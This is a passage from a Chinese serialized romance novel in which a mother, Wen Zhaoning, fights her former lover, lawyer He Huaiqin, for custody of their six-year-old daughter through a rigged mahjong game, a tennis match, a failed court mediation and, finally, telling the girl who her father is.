抓完牌,温昭宁看着手里散乱的十三张牌,心底那点微弱的希望之火,瞬间就被浇灭了。 这副牌,怎么看都不可能赢。 她看了眼贺淮钦,贺淮钦正动作流畅地理牌,他神色漠然疏离,仿佛只是在应付一场无关紧要的牌局。 也是,这十分钟赌注,是她想要,与他而言,根本不值一提。 轮到温昭宁出牌。 她手里有一张孤零零的“五万”,毫无用处,用容易点炮。 温昭宁正犹豫着要不要打出,就听邵一屿忽然开口:“碰!” 邵一屿打出一张“四万”,然后,轮到他出牌时,他沉吟一下,打出了一张“六万”。 温昭宁一愣,她手里正好有“七万”和“八万”,单吊“六万”或“九万”就能听牌。 可是,邵一屿为什么要打这张牌? 以邵一屿的牌技和刚才的手风,他手里不应该没有更好的选择才对。 温昭宁看了邵一屿一眼,邵一屿端起茶杯,慢悠悠地啜饮一口,好像刚才的那张牌真的只是随手打出,毫无深意。 接下来几轮,诡异的事情开始接二连三地发生。 邵一屿似乎手风突然不顺了,打出的牌总是恰到好处地给温昭宁凑对子,或者让她碰、让她杠,有时他明明可以吃牌,却选择过,他打出的生牌,又恰好是温昭宁能听的关键张。 而另一侧的周时安,也似乎在有意无意地回避温昭宁可能需要的牌,有好几次,温昭宁打出一张疑似听牌的牌,周时安手里明明有对子可以碰,却选择了沉默,甚至有一次,温昭宁打出一张“红中”,周时安手里正好有一对“红中”,他都没有任何动作。 温昭宁起初以为一切都是自己的错觉,亦或者是运气来了,但渐渐地,她品出味儿来了,这两个人,都在帮她。 他们不是贺淮钦的朋友吗?为什么要帮她? 温昭宁来不及细想,她手里的牌已经在邵一屿“不经意”的喂养和周时安“无心”的放水下,奇迹般地成型了。 她按捺着内心小小的激动。 终于,在邵一屿又一次“失误”打出一张“九条”后,她颤抖着手,推倒了自己的牌。 “胡了!清一色……一条龙。” 牌摊在桌子上。 清一色的条子,从一到九,整齐排列,虽然不是大牌,但她这样的“天崩开局”能胡出这样的牌,简直就是天方夜谭。 苏云溪冲过来:“哇!宁宁,你胡了!你真的胡了!清一色!太棒了!” 邵一屿看着温昭宁的牌,往椅背上一仰,脸上露出一丝影帝般的懊恼:“哎呀,我今天这牌打得太臭了!” 周时安更夸张,他直接起身为温昭宁鼓掌:“温小姐果然是麻将高手,见识了见识了!” 温昭宁胜之不武,脸都红了。 她悄悄地对邵一屿和周时安抱了抱拳。 而此刻的贺淮钦,很想对他的两位至交好友唱一首《听我说谢谢你》。 低情商的人可能直接掀桌大骂两人作弊了,但高情商的贺大律师,只是面无表情地问了一句:“你俩怎么不把牌摊开了给她挑呢?” 真当他傻?看不出来他们两个一个“喂牌”一个“放水”,联合起来坑他? “贺律师,你这话是什么意思啊?”苏云溪看着贺淮钦,“你不会是想耍赖吧?” 贺淮钦沉默了几秒,从位置上站起来,用他那冷冰冰的眼神看着温昭宁。 “你赢了,十分钟,去隔壁茶室。” 第78章 百分之一百零一的爱 隔壁茶室比主雅间略小,陈设更加简洁,只有一桌两椅,临着一扇小窗,窗外是几竿在风中微微摇曳的修竹。 贺淮钦一进门就坐下了,温昭宁没有坐。 她毕竟是来求人的,求人哪儿有平起平坐的。 十分钟,她只有这从牌桌上赢来的,无比珍贵的十分钟。 温昭宁深吸一口气,直视着贺淮钦的那深不见底的眼睛。 “贺律师,我知道我没有资格要求你什么,过去的事情,的确是我对不起你,是我隐瞒了青柠的存在,让你错过了和青柠相处的六年时光……”她顿了顿,喉咙发哽,“我可以道歉,可以用任何方式补偿,除了青柠。抚养权……我求求你,不要和我争,行吗?” 贺淮钦不说话,也不看她,只是慢条斯理地沏着桌上的茶。 茶汤中温热的果蜜香气,驱不散两人之间冰冷紧绷的氛围。 温昭宁见他沉默,继续说:“青柠从出生起,就一直在我的身边,她才六岁,这么小的孩子,心理非常脆弱敏感,如果突然之间,变更监护人,这种巨大的变动对她来说,可能会产生强烈的不安全感,甚至留下心理阴影。” 贺淮钦还是只顾自己倒茶,喝茶。 温昭宁紧紧盯着贺淮钦的眼睛,试图从他的眼睛里找到一丝动摇和理解。 可是,他的眼眸平静无波。 “贺律师,为人父母都是一样的心,那就是孩子的身心健康比什么都重要,我相信你也一样认为。” “……” 温昭宁见他一直沉默没反应,心中更加焦急。 “而且,对你来说,你的生活忽然出现一个孩子,也不一定是一件好事。” “哦?”贺淮钦终于有了一丝反应,“你倒是说说,怎么就不是一件好事了?” “你以后结婚,你的妻子未必会真心接受这个孩子……” “哗啦——砰!” 贺淮钦手臂猛地一扬。 一声刺耳至极的碎裂巨响,骤然炸开在寂静的茶室里。 桌面上那盏温润的白瓷茶杯,连同里面滚烫的茶汤,被他狠狠地拂落在地。 瓷器着地,瞬间粉身碎骨,茶汤在地板上泅开一大片刺目的湿痕。 温昭宁被吓得往后退了一步。 “你要说的,就是这些?”贺淮钦眼神冷厉地看着温昭宁,“就只有这些?” “是的,我真的……” “闭嘴!”贺淮钦声音喑哑,“十分钟到了!走!” 温昭宁还想再争取一下,隔壁的苏云溪他们听到声音,全都往这里跑过来。 “怎么了?发生什么事了?” 贺淮钦没说话,直接起身离开了包间。 -- 贺淮钦走出茶室,在荷塘边绕了一圈,仍然难以平息自己体内正喷涌而出的怒火。 邵一屿跟出来,给他递了一支烟。 贺淮钦连烟都抽不进去,不耐地推开。 “何必呢,淮钦。”邵一屿立在他身旁,“何必闹成这样?” 贺淮钦不说话,面朝着荷塘里的残荷,紧抿着薄唇。 “既然孩子都有了,多大恩怨,也该看在孩子的面子上算了,抚养权也好,探视权也好,总归是你们两个人的事情,非得对簿公堂,搞得像仇人一样?” “你懂什么?”贺淮钦说。 “我是不懂,你让她坐警车,让她这里赌牌求机会,最后还摔杯子赶人干什么?”邵一屿看贺淮钦一眼,“你别以为你虚张声势,我就不知道你,你其实心里一直放不下人家。既然还爱着,带着孩子一起过日子不好吗?” 一起过日子? 贺淮钦眼里的戾气更重。 温昭宁有一点点想要和他过日子的心吗? 刚才的十分钟里,她从开口到结束,全程都是在劝他放弃孩子的抚养权,她逻辑清晰,理由充分,甚至连他以后带着孩子结婚不方便都考虑到了。 他一直在等,等她说完这些“规劝”后,会不会开口解释一下当年的苦衷,会不会解释一下她当年到底隐瞒了什么,可是,都没有。 温昭宁只想用最理性的方式,解决掉他这个“麻烦”,守住她的女儿,她根本没有一丝一毫把他也一起规划进她们未来的意念。 “我不爱她,我恨她!”贺淮钦咬牙切齿。 他的表情,他的语气,都无比确凿地表明着这个事实。 然而,邵一屿却笑了。 “嘴强王者,你就是个嘴强王者。” 贺淮钦蹙眉,眼里浮起被冒犯的冷意。 邵一屿却不以为意,继续说:“你对她要是真的只剩下恨,恨不得她立刻从你眼前消失,永不相见,你有一万种更干净更彻底的方式让她消失在你的生活里,根本不用像现在这样,大动干戈,费心费力,又是起诉又是报警,还一个人跑出来生闷气。” 刚才的牌桌上,贺淮钦允许温昭宁坐下的那一秒,他就已经输了。 邵一屿和周时安还不是为了成全他的“输心”,才频频给温昭宁喂牌和放水的,他们都希望那十分钟能改变贺淮钦和温昭宁当下的僵局。 只可惜,最后依然什么都没有改变。 “淮钦,恨其实是另一种形式的在意,是放不下,是求不得,是意难平。你说你恨她,可在我看来,如果你对她是百分之百的恨,那你对她的感情里就一定藏着百分之一百零一的爱。” 邵一屿是旁观者,贺淮钦和温昭宁重逢后,他就一直在见证贺淮钦说着最狠的话,做着最温柔的事。 他知道,贺淮钦恨来恨去,就是恨温昭宁不够爱他。 “你自己好好想想吧。” “不用想。”贺淮钦猛地别开脸,“我绝对不会再重蹈覆辙,也绝对不会再爱她!” 邵一屿耸耸肩:“哦,那我等你打脸。” “……” -- 温昭宁站在一片狼藉的茶室,看着贺淮钦离开的背影,心里清楚地明白,劝贺淮钦放弃争夺抚养权这条路绝对走不通了。 谈判、恳求,都是徒劳。 既然他执意要战,那就战吧。 从茶园回到酒店,温昭宁就开始联系律师。 然而,她才迈出第一步,现实就给了她当头一棒。 贺淮钦在律政界的背景太深了,每一位温昭宁联系的律师,在听到原告是贺淮钦后,都以各种各样的理由和借口婉拒了委托。 也有律师对温昭宁直言不讳:“温女士,贺淮钦先生本人,以及他背后的资本和人际关系网络,在律政界和司法界都不容小觑,没有律师会为了这个官司,去得罪这样一个大佬级人物的。就算有律师头铁敢接,贺先生那边也完全有能力调动更强大的律师团队,将诉讼过程拖得无比漫长、成本高昂,直到你精疲力尽,自动放弃。所以我的建议是,如果可能,还是尽量争取不要打官司,否则,你将面临的不仅是一场法律战争,更是一场资源战争。” 温昭宁当然也知道自己不是贺淮钦的对手,可为了女儿,她不想就这样放弃。 找了两天,她愣是没有联系到一个律师。 这样的情况,让温昭宁想到了自己当初的离婚官司,当初她也是这样,四处碰壁,孤立无援,幸而,贺淮钦愿意出手相助。 可现在,站在她对立面的是贺淮钦,她连最后一丝希望都没有了。 就在温昭宁几乎要被无处寻援的绝望吞噬时,苏云溪给她找到了一位愿意接这个案子的律师。 “宁宁,这位律师叫袁西,是我中古店的一个客户,她之前在我这里卖了很多包,她说她每打赢一个官司就会奖励自己一个包,背了一段时间不喜欢了就会来卖给我,我和她关系不错。我已经把你的情况和她说过了,她愿意接这个案子。” “你说原告是贺淮钦了吗?” “放心,我第一句话说的就是这个。” “那就好。” “你们今晚见个面吧。” “好。” 傍晚,温昭宁在餐厅见到了袁西。 袁西三十岁出头的样子,穿一身裁剪利落的香槟色西装套裙,长发一丝不苟地盘在脑后,整个人散发着精明干练的气质。 “温小姐,在这场官司中,我会着重强调你作为孩子主要抚养人这六年来付出的心血、与孩子建立的深厚情感纽带,以及你目前提供的稳定、充满爱的成长环境,这些都是法官在判决抚养权时,非常看重的‘孩子最大利益’因素。” 袁西的分析听起来专业且切中要害,这让温昭宁隐约感觉到了一丝希望。 两人聊了一会儿官司的事情,又不可避免地聊到贺淮钦。 “袁律师,你不怕得罪贺淮钦吗?”温昭宁问她。 “怕啊。”袁西如实回答。 “那你为什么接我的官司?” “因为贺律师是我的偶像,我一直把他当做我从业的标杆,可惜,我这种小虾米一直没机会入他的眼,但如果我能打赢这场官司就不一样了,如果我真的能打赢这场官司,那么从此之后,贺律师都不会忘记我了!” 这动机,简直荒谬得让人啼笑皆非。 温昭宁一瞬间愕然。 袁西见状,忙安抚她:“温小姐,虽然这个理由听起来不太靠谱,但我本人非常靠谱,你相信我,这个官司,我一定会全力以赴的!” -- 袁西的出现,让温昭宁暂时从“无人可用”的困境中走出来,但因为对手是贺淮钦以及贺淮钦背后强大的律师团队,温昭宁悬着的心还是悬着。 距离庭前沟通还有几天,温昭宁完全是寝食难安的状态。 白天,她尚且能强迫自己打起精神,配合袁西整理各种材料,但一到晚上,她就整夜整夜的失眠,偶尔睡着一会儿,又会做各种各样的噩梦,梦境的核心都是青柠被抢走了。 每一个噩梦醒来,她都浑身冷汗,心跳如雷,需要打开手机相册,看一眼青柠的视频,才能平复恐慌。 短短三天,温昭宁脸色越来越差,眼下青黑日益明显,白天也时常精神恍惚,反应迟钝。 苏云溪看在眼里,急在心里。 “不行,宁宁,你得放松一下,不能整天绷着这根弦。”苏云溪把她塞进车里,“走走走,带你去打网球放放电,出汗、流汗是最解压的方式。” 苏云溪带着温昭宁去了南郊的一家高级网球俱乐部,这个网球俱乐部也是霍郁州名下的产业,场地开阔,环境清幽。 “宁宁,我都提前准备好了,走,我们先去换衣服。” “好。” 苏云溪熟门熟路地带温昭宁去换了衣服,租了球拍。 温昭宁已经很久没有打网球了,动作生疏僵硬,苏云溪陪她练了许久,她才渐渐恢复了一些手感。 “宁宁,别想那些让你烦恼的事情了,把球当成贺淮钦那个家伙,别留情,用力打!” 苏云溪在对面大喊着,她高亢的声音在空阔的场地上回荡着。 说曹操,曹操到。 苏云溪话音刚落,球场上走进来两道熟悉的身影。 是霍郁州和贺淮钦来了。 两人都穿着专业的网球服,身形挺拔,英姿勃发。 苏云溪背对着他们的方向,完全没有看到,她又兴奋地补一句:“宁宁,打爆他!打爆他你的失眠就好了!” “咳咳!” 霍郁州见老婆口出狂言,用力地咳嗽了一下,提醒苏云溪后面有人。 苏云溪回头,看到贺淮钦的瞬间,当场石化。 贺淮钦倒是没什么反应,他表情淡淡的,像是什么都没有看到,也什么都没有听到。 苏云溪很快就消化掉了被当场抓包的尴尬,整个人愈加兴奋起来。 她快速从球场那头绕过来,跑到温昭宁这边,抓着温昭宁的胳膊轻声说:“宁宁,看到没有,贺淮钦来了,多好的机会!你刚才不是一直打得不带劲嘛,现在本人来了,你就可以狠狠干死他了!” 温昭宁心头一紧,下意识地拒绝:“溪溪,你别闹……” “这怎么是闹?”苏云溪打断她,语气认真,“我知道你憋着火,憋着委屈,也憋着害怕,解铃还需系铃人,光打球有什么用,你就得和贺淮钦真刀真枪地打,把你的所有情绪,全都发泄出来!让你自己彻彻底底地释放一次!” 温昭宁还没同意,苏云溪已经扬起胳膊朝对面的霍郁州喊起来:“老公,我们一起打吧,二对二!” 第79章 干死对方的决心 霍郁州听苏云溪又喊他“老公”,嘴角压都压不住。 他对身旁的贺淮钦说:“托你的福,我老婆最近对我很热情。” 贺淮钦一个眼神刀过来:“什么福,这福气给你你要不要?” “你说孩子?孩子我当然想要!” 这人简直哪壶不开提哪壶,贺淮钦脸色更难看:“嘴不会用就拿去捐掉。” “我不捐,我不像你,孤家寡人,我这嘴用处可多着呢。” 贺淮钦:“……” 两人走到边上,放下包和水瓶。 苏云溪又喊过来:“打还是不打啊?” 霍郁州看向贺淮钦,问他:“打吗?” 他以为贺淮钦会拒绝,没想到贺淮钦竟然点头了。 “打。” 二对二,苏云溪和温昭宁一队,霍郁州和贺淮钦一队,起初网球在两队之间你来我往,一来一回,气势还算和缓,但打着打着,霍郁州和苏云溪就插不上手了。 球几乎只在温昭宁和贺淮钦的拍下往来。 苏云溪偶尔能接到一两个过渡球,但很快,球又会被贺淮钦或者温昭宁用更加暴烈的方式,重新拉回到他们两个人之间的“专属赛道”。 霍郁州试图利用自己的技巧和经验控制节奏,却发现贺淮钦根本不予理会,只是一味地强攻温昭宁,而温昭宁也像是红了眼的斗牛,只盯着贺淮钦回击。 苏云溪和霍郁州夫妻俩很快成了这场双打中的“旁观者”和“背景板”。 两人交换了个眼神,就一起下了场。 没了苏云溪在身旁,温昭宁打得越发没拘没束。 轮到她发球,她深吸一口气,将球高高抛起,用尽全身力气,狠狠地挥拍抽击。 黄色的网球如同出膛的炮弹,带着尖锐的呼啸声直扑贺淮钦的反手位,角度极其的刁钻。 这水平,一看就是手感上来了。 贺淮钦当然也不是吃素的,他迅速侧身,反手精准地截击,将球以更快的速度和更低的弧度打了回来,直逼温昭宁脚下。 温昭宁疾步上前,险险将球捞起,回了一个高吊球。 贺淮钦早已预判到位,快步上网,一记干脆利落的截击,球如闪电般砸在边线上,得分! 温昭宁咬紧牙关,死死盯着贺淮钦。 贺淮钦朝她耸耸肩,一副“你看,你根本不是我的对手”的挑衅模样。 温昭宁的胜负欲被彻底激发了出来。 她不能就这么被他压制,无论是这场球赛,还是青柠的抚养权官司,就算实力对比悬殊,她也绝对不会轻易放弃。 贺淮钦发球,同样凌厉,球速极快,带着强烈的旋转。 温昭宁全神贯注,拼尽全力去接。 她的动作没有贺淮钦标准流畅,力量也逊色不少,但那股豁出去的狠劲儿和不要命的奔跑,却让她一次次将看似不可能的球都救了回来。 球场上,只剩下网球砰砰的撞击声和鞋底摩擦地面的刺耳声响。 苏云溪和霍郁州坐在一旁,慢条斯理地喝着水。 “你说,谁会赢?”苏云溪问。 “难说,他们眼里没有对胜负的渴望,只有干死对方的决心。” “我也觉得,真可怕啊。”苏云溪感慨一声,又问,“你说,是不是爱到最后都会这样?” “什么?” “只有干死对方的决心。” 霍郁州蹙眉,还没回答,就听苏云溪又补一句:“幸好,我们之间没有爱。” 霍郁州:“……” 什么玩意儿? -- 两人在球场上奔跑、跳跃、挥拍,汗水飞溅,球速越来越快,回合越来越多,场面异常激烈的胶着。 温昭宁的体力在急速消耗,手臂酸得几乎抬不起来,膝盖也因一次次急停急转而隐隐作痛。 对面的贺淮钦同样汗流浃背,但却稳如磐石。 就当温昭宁以为自己要输了时,贺淮钦忽然出现一个明显的失误,温昭宁抓住机会,硬生生将比分拉至了平局。 “哇!宁宁!你好棒,你赢了!”苏云溪冲过来,一把抱住了温昭宁。 霍郁州:“不是平局吗?” “男女体力悬殊,宁宁能打出平局,四舍五入,就是她赢了!” 霍郁州:“……” 这样也行? 温昭宁已经没有力气了,她撑着球拍,腿在发抖,全身肌肉都在哀嚎。 她看向贺淮钦,贺淮钦也在看着她。 两人的眼神在空中相遇,他们的眼中都有未散的激烈余烬和运动后的灼热,但先前那种“想要干死对方”的决绝,却在这精疲力竭的平局中,奇异地消散了一些。 这一刻,仿佛连恨意都被这场耗尽一切的对抗暂时榨干了。 “来来来,该我们了。”苏云溪对霍郁州使了个眼色。 霍郁州这点眼力界还是有的,他快速拿上球拍,跟着老婆去打球了。 温昭宁和贺淮钦走到球场边去休息。 球场的长椅是刷着绿色油漆的金属长凳,被午后的阳光晒得有些温热。 两人各自占据一端,中间隔着一道无形的界限。 温昭宁靠在椅背上,胸膛微微起伏,汗水顺着脖颈不断滑落,她拿毛巾擦了擦后,拿起放在一旁的水瓶。 她已经脱力,手抖得厉害,拧了半天,愣是没把瓶盖拧开。 忽然,长椅的另一端扔过来一瓶矿泉水。 温昭宁猝不及防,堪堪接住。 这瓶水是贺淮钦扔过来的,瓶盖已经拧松了。 温昭宁正要开口说“谢谢”,就听贺淮钦先开了口:“你失眠?” 她一愣。 贺淮钦怎么知道的? 再想想,应该是刚才苏云溪喊得太大声,被贺淮钦听到了。 她正要说“是”,又被贺淮钦抢先开了口:“亏心事干多了睡不着是吧?” “我做什么亏心事了?” “私闯民宅,偷我孩子,这些难道不是亏心事?” “……” 温昭宁沉默。 她望着球场,脑海中闪过刚才凶狠的对攻和夜夜纠缠的噩梦。 “贺淮钦。”她忽然开口,声音哑得厉害,却带着斩钉截铁的力量,“青柠的抚养权官司,我绝对不会向你认输,无论怎样,我都会和你争到底。” 贺淮钦喝水的动作停了下来。 他转过头,看向温昭宁。 “是吗。”他微微扯动嘴角,那弧度没有任何温度,只有针锋相对的冷静,“那就,走着瞧。” 温昭宁握着水瓶的手指收紧,塑料瓶身发出轻微的“嘎吱”声。 然后,他们同时移开了目光。 温昭宁将瓶中剩下的水一饮而尽,仿佛要压下心头那翻涌的复杂情绪。 贺淮钦则站起来,将空瓶精准地投进几步之外的垃圾桶,“咚”的一声轻响后,他没有再看温昭宁,也没有理会球场上打得正酣的霍郁州和苏云溪,径直朝更衣室的方向离开了。 温昭宁看着他挺拔冷硬的背影,悄悄握紧了拳。 -- 三日后,是庭前调解。 沪城法院的调解室,温昭宁坐在会议桌的一侧,身边是她的委托律师袁西。 温昭宁昨夜又没有睡着,失眠让她很是疲惫,但是,她不想在气势上落了下风,出门前还是给自己化了个精致的妆容,遮盖黑眼圈。 她们特地早到了十分钟。 十分钟后,调解室的门被推开,贺淮钦走了进来。 他穿着深灰色的西装,白衬衫,没系领带,整个人带着一丝游刃有余的从容,和神经紧绷的温昭宁,形成了鲜明的对比。 贺淮钦的律师廖平,是一个四十多岁,面容严肃、目光犀利的男律师,他沉默地跟在贺淮钦身后,进门先扫了一眼温昭宁。 这一眼,在温昭宁看来压迫感十足,但其实,廖平只是在吃瓜。 现在,整个律所上下都很好奇,能在贺淮钦这样精锐的人眼皮子底下带球跑的女人,到底是什么模样。 他有幸负责这个案子,冲在了吃瓜第一线。 别的不说,这女人真是漂亮,就颜值上来说,和他们长得男明星一样的老板,绝对势均力敌。 贺淮钦和廖平的出现,瞬间让调解室本就凝滞的空气,又沉下去了几分。 温昭宁手脚发凉,她强迫自己移开视线,不去看他们,专注于面前的空白记录纸。 然而,她身边的袁西,反应却截然不同。 在贺淮钦走进来的那一刻,袁西的眼睛就亮了起来,这明显是被惊艳到了的反应,她的身体向前倾了倾,目光像是黏在了贺淮钦的身上,从他轮廓分明的脸,扫到他挺阔的肩线,再落到他修长的手指上。 然后,温昭宁听到了一声明显带着赞叹的抽气声。 “好帅啊。”袁西凑到温昭宁的耳边轻声说,“这还是我第一次这么近距离地看贺律师,没白来,这趟绝对没白来。” 温昭宁:“???” 这还没开始呢,她的律师就被“敌方当事人”的美色诱惑了? 她拍了拍袁西的大腿,提醒她:“别忘了我们来干什么的。” “没忘,放心吧温小姐,你让我饱了眼福,我也不会让你白来!” 温昭宁:“……” -- 负责调解的法官和书记员准点就位,调解程序正式开始。 法官例行公事地阐述调解原则,询问双方是否还有协商意愿。 温昭宁这边表示愿意在保障孩子身心健康和现有生活环境稳定的前提下协商,但贺淮钦的律师却明确提出:“鉴于孩子生母长期隐瞒的行为已经对孩子父亲权益造成严重损害,且为了保障孩子未来获得优质的生活和教育资源,他们坚持通过诉讼明确抚养权归属及相关权利义务。” 贺淮钦的律师在明确立场后,率先出招。 他打开了一个黑色的文件夹,推到桌子的中央。 “审判员,为了证明我方当事人完全有能力为温念初小姐提供最优渥的成长环境和最顶尖的教育资源,这是贺淮钦先生名下主要公司近三年的资产审计报告和完税证明摘要。” 文件里面是密密麻麻的数字和图表,以及多家权威机构的盖章,这份文件里的每一个数据,都在彰显贺淮钦如今的财力有多惊人。 现在的一个贺淮钦,大概等于当初的二十个温家,都不止。 接着,廖平又拿出了另一份文件。 “这是我们初步拟定的,关于温念初小姐未来的教育规划方案,这份方案涵盖了从学前教育到高等教育阶段,在国内顶尖私立学校或者海外著名学府的就读选择、兴趣特长培养、以及相应的师资和资源配套。同时,我们已经考察并初步确认了本市几处顶级社区住宅,均配备完善的儿童娱乐、教育及安防设施,可以确保孩子拥有安全、优越的居住环境。” 廖平律师的话语条理清晰,列举详实,每一份文件都透着金钱和资源堆砌出来的厚重感和说服力。 温昭宁现在经营民宿,做自媒体,收入也还尚可,但在贺淮钦的绝对实力面前,她的经济条件显得苍白无力。 法官翻看着这些文件,面色严肃,显然,贺淮钦方提供的“硬实力”证明,在法律实践中,尤其是在涉及未成年人未来发展的考量中,是极具分量的筹码。 压力如同巨石,狠狠地压向了温昭宁她们这一侧。 温昭宁看了袁西一眼,袁西已经进入了状态,她认真起来的样子和她犯花痴的样子,完全判若两人。 袁西对廖平的实力展示,依据法律条文进行了反驳,强调抚养权判定并非单纯的物质条件比拼,更要考虑孩子的意愿,生活环境连续性等因素。 为了这次庭前调解,温昭宁也准备了很多东西。 袁西将温昭宁准备的东西一一拿出来展示。 首先,是青柠从出生到现在的相册,整整六本,一本相册就是青柠完整的一岁,里面满满都是青柠的照片。 每一张照片旁边,都贴着温昭宁的手写便签。 “X年X月X日,小宝贝今天第一次笑了。” “X年X月X日,母乳不太够,今天第一次给宝贝加了奶粉,她不太喜欢,抱着奶瓶一直哭,一口都不喝。” “X年X月X日,宝贝在幼儿园得了第一朵小红花,骄傲的展示中……” 这一页一页,一行一行,记录着一个孩子从襁褓到牙牙学语,再到蹒跚学步、入园成长的点点滴滴。 没有华丽的辞藻,只有最朴素真实的细节和充满烟火气与爱的日常。 贺淮钦看到这几本相册,眼神立刻流露出渴望。 他想要! 第80章 相册 温昭宁除了准备青柠从小到大的相册,她还拿来了青柠从小到大的每一张画作。 从幼儿最初毫无章法地涂鸦,红红绿绿的色块交织在一起,看不出具体形状,到线条开始有了简单的形状,颤巍巍的直线、歪歪扭扭的圆圈,再到一点点开始出现人物的轮廓,虽然这些小人儿脑袋巨大,四肢就像是火柴棍,身体比例失调,但每一个都是眉眼弯弯,带着笑脸的,再后来,画作的背景也开始慢慢丰富了起来,游乐场、动物园、海洋馆…… 这不仅仅是一个孩子的美术作品集,更是一个生命在爱与陪伴的滋养下,精神世界如何抽枝发芽,逐渐丰盈的最直观最动人的证据。 袁西适时地开口:“审判员,我方当事人想要证明的是,对于年幼的孩子而言,稳定、充满安全感、以情感纽带为核心的生活环境,远比优越却可能陌生的物质条件更为重要,这些照片、画作,客观地记录了孩子在过去五年里,在母亲身边健康、快乐,充满爱意的成长历程,强行改变这种深度依赖的情感环境和生活连续性,将对孩子的心理造成难以估量的冲击和伤害。” 双方各执一词。 一方讲述物质条件,一方诉说情感纽带,一方是堆叠如山的资产证明和精英蓝图,一方是浸润着岁月痕迹的育儿日记和泛着生活光泽的回忆照片,这就是天王老子来了,也难以确切说出到底怎么样选择才是对孩子最好的选择。 庭前调解,在两种不同价值观的碰撞下,宣告失败。 温昭宁早就知道会失败,倒也没有多失望,这次庭前调解,就等于是双方相互摸了一个底。 “贺律,走吧。”廖平收拾好文件,转头对贺淮钦说。 贺淮钦点了下头,目光却不由自主地追随着温昭宁手里的相册。 他想要这些照片,每一张都想要。 这些都是青柠的成长记忆。 他可以用金钱和资源堆砌出一个“最好”的未来,但他永远无法买回那已经失去的六年。 温昭宁感觉到贺淮钦的目光,抬眸朝他看过去,但贺淮钦触到她眼神的刹那,快速地别过脸走了。 死傲娇。 “等等!” 温昭宁追出去。 贺淮钦听到她的声音,脚步停住了,但是没有回头。 温昭宁绕到他面前,把手里捧着的那几本青柠的相册,全都递给了贺淮钦。 “这个给你。” 贺淮钦皱眉。 给他? 为什么? 这难道不是她在这场抚养权官司中最有力的“武器”吗? 温昭宁看懂了他眼中的震惊和不解,她解释说:“这些记录,从一开始就是为青柠和你做的。” “你什么意思?” “从知道怀孕,到生下青柠看着她一点点长大,我心底一直存在一个念想,也许有一天,你会知道她的存在。但我不知道,这有一天到底是什么时候,所以我只能这样频繁地记录,记录在你不知道的时候,她是怎么样一点点长大的。”温昭宁顿了顿,“现在,你已经知道了青柠是你的女儿,那就把这些相册都给你,算是我……替你弥补一点点你们缺失的父女时光。” 贺淮钦脸色阴沉。 原来,这些相册从一开始就是她为他准备的。 这个认知像一把涂着蜜又裹了玻璃渣的刀,让他一瞬甜,下一瞬又开始痛。 他定在那里,没有伸手去接,只是眼神复杂地看着温昭宁。 温昭宁见他迟迟不动,还以为他不要,正要失望收手,却被他一把握住了相册的另一端。 因为贺淮钦出手太快,两人的手指还不小心碰到了一起。 温昭宁一惊,抬眸的瞬间,几本相册已经被贺淮钦抽走了。 他捧着那些相册,如获至宝,当场就翻看起来。 只是,贺淮钦才翻了一页,脸就黑了下来。 他看到了小时候短发的青柠,和他简直一个模子刻出来的,难怪当初青柠提及她小时候的短发照片,温昭宁千方百计地阻挠不让他看! 明明有那么多的机会,温昭宁可以告诉他青柠的身世,可她就是没有! 她就是没有! “你不要以为你给我这些相册,我就会心软不和你争青柠的抚养权。”贺淮钦说。 “我没有这样以为,既然都已经立案,我就已经做好了和你打官司的准备。” “你有这个觉悟最好,对了,我后天休息,会去接青柠。” 温昭宁一愣,他要接青柠走? “可是……” “你不能拒绝,我已经向法院申请了行为保全,在诉讼期间,你不得阻碍我合理的探望行为。”贺淮钦看着温昭宁,“还有,你最好尽快告诉青柠,我是她爸爸。” -- 温昭宁在沪城几天,母亲姚冬雪和青柠都以为她是去出差。 等到庭前调解结束,回到悠山,温昭宁才把贺淮钦要争夺青柠抚养权的事情告诉了母亲。 母亲姚冬雪听了这个消息,差点没站稳晕过去。 “什么?他要争青柠?” “妈,你不要担心,我已经请好了律师。” “可他不是律所的大老板吗?他肯定有很强的人脉关系,他会不会找人帮忙开后门……” “妈,我们要相信法律。” 姚冬雪还是不放心,思来想去之后又问了一句:“他不是要订婚了吗?还抢孩子干什么?他未婚妻难道不介意吗?” 说起这个,温昭宁也觉得奇怪。 沈雅菁年纪比贺淮钦小好几岁,她自己看起来心智还不成熟,怎么会同意一订婚就去养六岁的继女? 不过这个念头也就是一闪而过,温昭宁眼下最大的心事是不知道该怎么和青柠坦诚她和贺淮钦的真实关系。 她知道,逃避和隐瞒都不是长久之计,如今法律程序已经启动,青柠迟早会知道的,与其让她从别人口中得知,不如由她亲口告诉她。 晚上,温昭宁帮青柠洗完澡,将她抱到床上。 她一边给女儿穿睡衣,一边和她闲聊,正当她纠结该怎么把话题引到贺淮钦的身上时,青柠自己先提到了贺淮钦。 第81章 青柠,他是你爸爸 “妈妈,贺叔叔也在沪城,你这次去沪城出差,有没有碰到贺叔叔啊?” “碰到了。”温昭宁顺水推舟,“青柠是不是想他了?” “对啊,我超级想他的。” “他后天休息,会来接你去玩哦。” “真的吗!太棒了!”青柠兴奋地在床上直蹦哒,“我最喜欢和贺叔叔一起玩啦。” 温昭宁抱着青柠,坐在床上:“宝贝,关于贺叔叔,妈妈有一件事情要告诉你。” “什么事情呀?” “其实……贺叔叔不是普通的叔叔。” 青柠困惑的歪了歪头:“不是普通的叔叔,那是什么呀?” 温昭宁深深地吸了一口气,缓慢又清晰地说:“他……是你爸爸。” 话音落下,房间里陷入了短暂的寂静,只有小夜灯柔和的光晕和窗外隐约的水声。 青柠似乎愣住了。 她的小脸上,浮现出一种独属于孩童的茫然和困惑。 爸爸? 可她不是已经有一个爸爸了吗? 那个爸爸很坏,看着她的时候总是皱着眉,要么凶她,要么不理她,甚至,他还会动手打妈妈。 她真的一点都不喜欢那个坏爸爸。 可现在妈妈说贺叔叔是她爸爸? “妈妈,这是什么意思啊?难道,之前那个坏爸爸他不是我的爸爸吗?” “是的,青柠,他并不是你的亲生爸爸,贺叔叔才是你的亲生爸爸,之前因为一些复杂的原因,妈妈和你的亲生爸爸分开了,所以,他没有和我们生活在一起。” “那贺叔叔知道我是他的宝宝吗?” “他之前不知道,现在已经知道了。” 青柠沉默着不说话,小小的脑袋不知道在想什么。 温昭宁俯身与女儿平视,看着她的眼睛道歉:“对不起青柠,妈妈应该早点把这件事情告诉你们的,是妈妈不对。” 青柠眨巴着眼,又沉默了许久。 温昭宁的心随着女儿的沉默,不断下沉。 她想,青柠是不是在怪她,怪她这么多年的隐瞒。 